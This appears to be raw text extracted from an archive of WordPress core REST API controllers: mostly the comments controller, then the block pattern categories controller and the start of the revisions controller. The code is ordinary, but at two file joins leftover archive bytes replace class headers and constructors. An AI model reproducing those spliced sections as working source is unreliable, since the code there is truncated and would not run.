a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function update_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $id = $comment->comment_ID; if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) { return new WP_Error( 'rest_comment_invalid_type', __( 'Sorry, you are not allowed to change the comment type.' ), array( 'status' => 404 ) ); } $prepared_args = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( ! empty( $prepared_args['comment_post_ID'] ) ) { $post = get_post( $prepared_args['comment_post_ID'] ); if ( empty( $post ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Invalid post ID.' ), array( 'status' => 403 ) ); } } if ( empty( $prepared_args ) && isset( $request['status'] ) ) { // Only the comment status is being changed. $change = $this->handle_status_param( $request['status'], $id ); if ( ! $change ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment status failed.' ), array( 'status' => 500 ) ); } } elseif ( ! empty( $prepared_args ) ) { if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( ! $this->check_is_comment_content_allowed( $prepared_args ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } $prepared_args['comment_ID'] = $id; $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } $updated = wp_update_comment( wp_slash( (array) $prepared_args ), true ); if ( is_wp_error( $updated ) ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $id ); } } $comment = get_comment( $id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_insert_comment', $comment, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_after_insert_comment', $comment, $request, false ); $response = $this->prepare_item_for_response( $comment, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, error object otherwise. */ public function delete_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function delete_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; /** * Filters whether a comment can be trashed via the REST API. * * Return false to disable trash support for the comment. * * @since 4.7.0 * * @param bool $supports_trash Whether the comment supports trashing. * @param WP_Comment $comment The comment object being considered for trashing support. */ $supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment ); $request->set_param( 'context', 'edit' ); if ( $force ) { $previous = $this->prepare_item_for_response( $comment, $request ); $result = wp_delete_comment( $comment->comment_ID, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If this type doesn't support trashing, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( 'trash' === $comment->comment_approved ) { return new WP_Error( 'rest_already_trashed', __( 'The comment has already been trashed.' ), array( 'status' => 410 ) ); } $result = wp_trash_comment( $comment->comment_ID ); $comment = get_comment( $comment->comment_ID ); $response = $this->prepare_item_for_response( $comment, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The comment cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires after a comment is deleted via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment The deleted comment data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_comment', $comment, $response, $request ); return $response; } /** * Prepares a single comment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Comment $item Comment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $comment = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ return apply_filters( 'rest_prepare_comment', new WP_REST_Response( array() ), $comment, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $comment->comment_ID; } if ( in_array( 'post', $fields, true ) ) { $data['post'] = (int) $comment->comment_post_ID; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $comment->comment_parent; } if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $comment->user_id; } if ( in_array( 'author_name', $fields, true ) ) { $data['author_name'] = $comment->comment_author; } if ( in_array( 'author_email', $fields, true ) ) { $data['author_email'] = $comment->comment_author_email; } if ( in_array( 'author_url', $fields, true ) ) { $data['author_url'] = $comment->comment_author_url; } if ( in_array( 'author_ip', $fields, true ) ) { $data['author_ip'] = $comment->comment_author_IP; } if ( in_array( 'author_user_agent', $fields, true ) ) { $data['author_user_agent'] = $comment->comment_agent; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = mysql_to_rfc3339( $comment->comment_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt ); } if ( in_array( 'content', $fields, true ) ) { $data['content'] = array( /** This filter is documented in wp-includes/comment-template.php */ 'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ), 'raw' => $comment->comment_content, ); } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_comment_link( $comment ); } if ( in_array( 'status', $fields, true ) ) { $data['status'] = $this->prepare_status_response( $comment->comment_approved ); } if ( in_array( 'type', $fields, true ) ) { $data['type'] = get_comment_type( $comment->comment_ID ); } if ( in_array( 'author_avatar_urls', $fields, true ) ) { $data['author_avatar_urls'] = rest_get_avatar_urls( $comment ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $comment->comment_ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $comment ) ); } /** * Filters a comment returned from the REST API. * * Allows modification of the comment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Comment $comment The original comment object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_comment', $response, $comment, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return array Links for the given comment. */ protected function prepare_links( $comment ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); if ( 0 !== (int) $comment->user_id ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $comment->user_id ), 'embeddable' => true, ); } if ( 0 !== (int) $comment->comment_post_ID ) { $post = get_post( $comment->comment_post_ID ); $post_route = rest_get_route_for_post( $post ); if ( ! empty( $post->ID ) && $post_route ) { $links['up'] = array( 'href' => rest_url( $post_route ), 'embeddable' => true, 'post_type' => $post->post_type, ); } } if ( 0 !== (int) $comment->comment_parent ) { $links['in-reply-to'] = array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ), 'embeddable' => true, ); } // Only grab one comment to verify the comment has children. $comment_children = $comment->get_children( array( 'count' => true, 'orderby' => 'none', 'type' => 'all', ) ); if ( ! empty( $comment_children ) ) { $args = array( 'parent' => $comment->comment_ID, ); $rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) ); $links['children'] = array( 'href' => $rest_url, 'embeddable' => true, ); } // Embedding children for notes requires `type` and `status` inheritance. if ( isset( $links['children'] ) && 'note' === $comment->comment_type ) { $args = array( 'parent' => $comment->comment_ID, 'type' => $comment->comment_type, 'status' => 'all', ); $rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) ); $links['children'] = array( 'href' => $rest_url, 'embeddable' => true, ); } return $links; } /** * Prepends internal property prefix to query parameters to match our response fields. * * @since 4.7.0 * * @param string $query_param Query parameter. * @return string The normalized query parameter. */ protected function normalize_query_param( $query_param ) { $prefix = 'comment_'; switch ( $query_param ) { case 'id': $normalized = $prefix . 'ID'; break; case 'post': $normalized = $prefix . 'post_ID'; break; case 'parent': $normalized = $prefix . 'parent'; break; case 'include': $normalized = 'comment__in'; break; default: $normalized = $prefix . $query_param; break; } return $normalized; } /** * Checks comment_approved to set comment status for single comment output. * * @since 4.7.0 * * @param string $comment_approved Comment status. * @return string Comment status. */ protected function prepare_status_response( $comment_approved ) { switch ( $comment_approved ) { case 'hold': case '0': $status = 'hold'; break; case 'approve': case '1': $status = 'approved'; break; case 'spam': case 'trash': default: $status = $comment_approved; break; } return $status; } /** * Prepares a single comment to be inserted into the database. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return array|WP_Error Prepared comment, otherwise WP_Error object. */ protected function prepare_item_for_database( $request ) { $prepared_comment = array(); /* * Allow the comment_content to be set via the 'content' or * the 'content.raw' properties of the Request object. */ if ( isset( $request['content'] ) && is_string( $request['content'] ) ) { $prepared_comment['comment_content'] = trim( $request['content'] ); } elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) { $prepared_comment['comment_content'] = trim( $request['content']['raw'] ); } if ( isset( $request['post'] ) ) { $prepared_comment['comment_post_ID'] = (int) $request['post']; } if ( isset( $request['parent'] ) ) { $prepared_comment['comment_parent'] = $request['parent']; } if ( isset( $request['author'] ) ) { $user = new WP_User( $request['author'] ); if ( $user->exists() ) { $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } else { return new WP_Error( 'rest_comment_author_invalid', __( 'Invalid comment author ID.' ), array( 'status' => 400 ) ); } } if ( isset( $request['author_name'] ) ) { $prepared_comment['comment_author'] = $request['author_name']; } if ( isset( $request['author_email'] ) ) { $prepared_comment['comment_author_email'] = $request['author_email']; } if ( isset( $request['author_url'] ) ) { $prepared_comment['comment_author_url'] = $request['author_url']; } if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) { $prepared_comment['comment_author_IP'] = $request['author_ip']; } elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) { $prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR']; } else { $prepared_comment['comment_author_IP'] = '127.0.0.1'; } if ( ! empty( $request['author_user_agent'] ) ) { $prepared_comment['comment_agent'] = $request['author_user_agent']; } elseif ( $request->get_header( 'user_agent' ) ) { $prepared_comment['comment_agent'] = $request->get_header( 'user_agent' ); } if ( ! empty( $request['date'] ) ) { $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } elseif ( ! empty( $request['date_gmt'] ) ) { $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } /** * Filters a comment added via the REST API after it is prepared for insertion into the database. * * Allows modification of the comment right after it is prepared for the database. * * @since 4.7.0 * * @param array $prepared_comment The prepared comment data for `wp_insert_comment`. * @param WP_REST_Request $request The current request. */ return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request ); } /** * Retrieves the comment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'comment', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID of the user object, if author was a user.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_email' => array( 'description' => __( 'Email address for the comment author.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_comment_author_email' ), 'validate_callback' => null, // Skip built-in validation of 'email'. ), ), 'author_ip' => array( 'description' => __( 'IP address for the comment author.' ), 'type' => 'string', 'format' => 'ip', 'context' => array( 'edit' ), ), 'author_name' => array( 'description' => __( 'Display name for the comment author.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'author_url' => array( 'description' => __( 'URL for the comment author.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_user_agent' => array( 'description' => __( 'User agent for the comment author.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'content' => array( 'description' => __( 'The content for the comment.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the comment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the comment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), 'date' => array( 'description' => __( "The date the comment was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the comment was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL to the comment.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'The ID for the parent of the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'default' => 0, ), 'post' => array( 'description' => __( 'The ID of the associated post object.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'default' => 0, ), 'status' => array( 'description' => __( 'State of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ), 'type' => array( 'description' => __( 'Type of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, 'default' => 'comment', ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['author_avatar_urls'] = array( 'description' => __( 'Avatar URLs for the comment author.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Comments collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['author'] = array( 'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_email'] = array( 'default' => null, 'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ), 'format' => 'email', 'type' => 'string', ); $query_params['before'] = array( 'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by comment attribute.' ), 'type' => 'string', 'default' => 'date_gmt', 'enum' => array( 'date', 'date_gmt', 'id', 'include', 'post', 'parent', 'type', ), ); $query_params['parent'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments of specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['parent_exclude'] = array( 'default' => array(), 'description' => __( 'Ensure result set excludes specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['post'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments assigned to specific post IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['status'] = array( 'default' => 'approve', 'description' => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['type'] = array( 'default' => 'comment', 'description' => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); /** * Filters REST API collection parameters for the comments controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Comment_Query parameter. Use the * `rest_comment_query` filter to set WP_Comment_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_comment_collection_params', $query_params ); } /** * Sets the comment_status of a given comment object when creating or updating a comment. * * @since 4.7.0 * * @param string|int $new_status New comment status. * @param int $comment_id Comment ID. * @return bool Whether the status was changed. */ protected function handle_status_param( $new_status, $comment_id ) { $old_status = wp_get_comment_status( $comment_id ); if ( $new_status === $old_status ) { return false; } switch ( $new_status ) { case 'approved': case 'approve': case '1': $changed = wp_set_comment_status( $comment_id, 'approve' ); break; case 'hold': case '0': $changed = wp_set_comment_status( $comment_id, 'hold' ); break; case 'spam': $changed = wp_spam_comment( $comment_id ); break; case 'unspam': $changed = wp_unspam_comment( $comment_id ); break; case 'trash': $changed = wp_trash_comment( $comment_id ); break; case 'untrash': $changed = wp_untrash_comment( $comment_id ); break; default: $changed = false; break; } return $changed; } /** * Checks if the post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request data to check. * @return bool Whether post can be read. */ protected function check_read_post_permission( $post, $request ) { $post_type = get_post_type_object( $post->post_type ); // Return false if custom post type doesn't exist if ( ! $post_type ) { return false; } $posts_controller = $post_type->get_rest_controller(); /* * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance * before using methods specific to that controller. */ if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) { $posts_controller = new WP_REST_Posts_Controller( $post->post_type ); } $has_password_filter = false; // Only check password if a specific post was queried for or a single comment $requested_post = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) ); $requested_comment = ! empty( $request['id'] ); if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) { add_filter( 'post_password_required', '__return_false' ); $has_password_filter = true; } if ( post_password_required( $post ) ) { $result = current_user_can( 'edit_post', $post->ID ); } else { $result = $posts_controller->check_read_permission( $post ); } if ( $has_password_filter ) { remove_filter( 'post_password_required', '__return_false' ); } return $result; } /** * Checks if the comment can be read. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @param WP_REST_Request $request Request data to check. * @return bool Whether the comment can be read. */ protected function check_read_permission( $comment, $request ) { if ( 'note' !== $comment->comment_type && ! empty( $comment->comment_post_ID ) ) { $post = get_post( $comment->comment_post_ID ); if ( $post ) { if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) { return true; } } } if ( 0 === get_current_user_id() ) { return false; } if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) { return false; } if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks if a comment can be edited or deleted. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return bool Whether the comment can be edited or deleted. */ protected function check_edit_permission( $comment ) { if ( 0 === (int) get_current_user_id() ) { return false; } if ( current_user_can( 'moderate_comments' ) ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks a comment author email for validity. * * Accepts either a valid email address or empty string as a valid comment * author email address. Setting the comment author email to an empty * string is allowed when a comment is being updated. * * @since 4.7.0 * * @param string $value Author email value submitted. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized email address, if valid, * otherwise an error. */ public function check_comment_author_email( $value, $request, $param ) { $email = (string) $value; if ( empty( $email ) ) { return $email; } $check_email = rest_validate_request_arg( $email, $request, $param ); if ( is_wp_error( $check_email ) ) { return $check_email; } return $email; } /** * If empty comments are not allowed, checks if the provided comment content is not empty. * * @since 5.6.0 * * @param array $prepared_comment The prepared comment data. * @return bool True if the content is allowed, false otherwise. */ protected function check_is_comment_content_allowed( $prepared_comment ) { if ( ! isset( $prepared_comment['comment_content'] ) ) { return true; } $check = wp_parse_args( $prepared_comment, array( 'comment_post_ID' => 0, 'comment_author' => null, 'comment_author_email' => null, 'comment_author_url' => null, 'comment_parent' => 0, 'user_id' => 0, ) ); /** This filter is documented in wp-includes/comment.php */ $allow_empty = apply_filters( 'allow_empty_comment', false, $check ); if ( $allow_empty ) { return true; } // Allow empty notes only when resolution metadata is valid. if ( isset( $check['comment_type'] ) && 'note' === $check['comment_type'] && isset( $check['meta']['_wp_note_status'] ) && in_array( $check['meta']['_wp_note_status'], array( 'resolved', 'reopen' ), true ) ) { return true; } /* * Do not allow a comment to be created with missing or empty * comment_content. See wp_handle_comment_submission(). */ return '' !== $check['comment_content']; } /** * Check if post type supports notes. * * @param string $post_type Post type name. * @return bool True if post type supports notes, false otherwise. */ private function check_post_type_supports_notes( $post_type ) { $supports = get_all_post_type_supports( $post_type ); if ( ! isset( $supports['editor'] ) ) { return false; } if ( ! is_array( $supports['editor'] ) ) { return false; } return array_any( $supports['editor'], fn( $item ) => ! empty( $item['notes'] ) ); } } PK!8'5class-wp-rest-block-pattern-categories-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'block-patterns/categories'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block pattern categories.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block pattern categories. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); $categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered(); foreach ( $categories as $category ) { $prepared_category = $this->prepare_item_for_response( $category, $request ); $response[] = $this->prepare_response_for_collection( $prepared_category ); } return rest_ensure_response( $response ); } /** * Prepare a raw block pattern category before it gets output in a REST API response. * * @since 6.0.0 * * @param array $item Raw category as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name', 'label', 'description' ); $data = array(); foreach ( $keys as $key ) { if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) { $data[ $key ] = $item[ $key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern category schema, conforming to JSON Schema. * * @since 6.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern-category', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The category name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'label' => array( 'description' => __( 'The category label, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The category description, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK!X2Nparent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Posts_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $this->rest_base = 'revisions'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Post_Meta_Fields( $parent_post_type ); } /** * Registers the routes for revisions based on post types supporting revisions. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base, array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->parent_base . '/(?P[\d]+)/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post, if the ID is valid. * * @since 4.7.2 * * @param int $parent_post_id Supplied 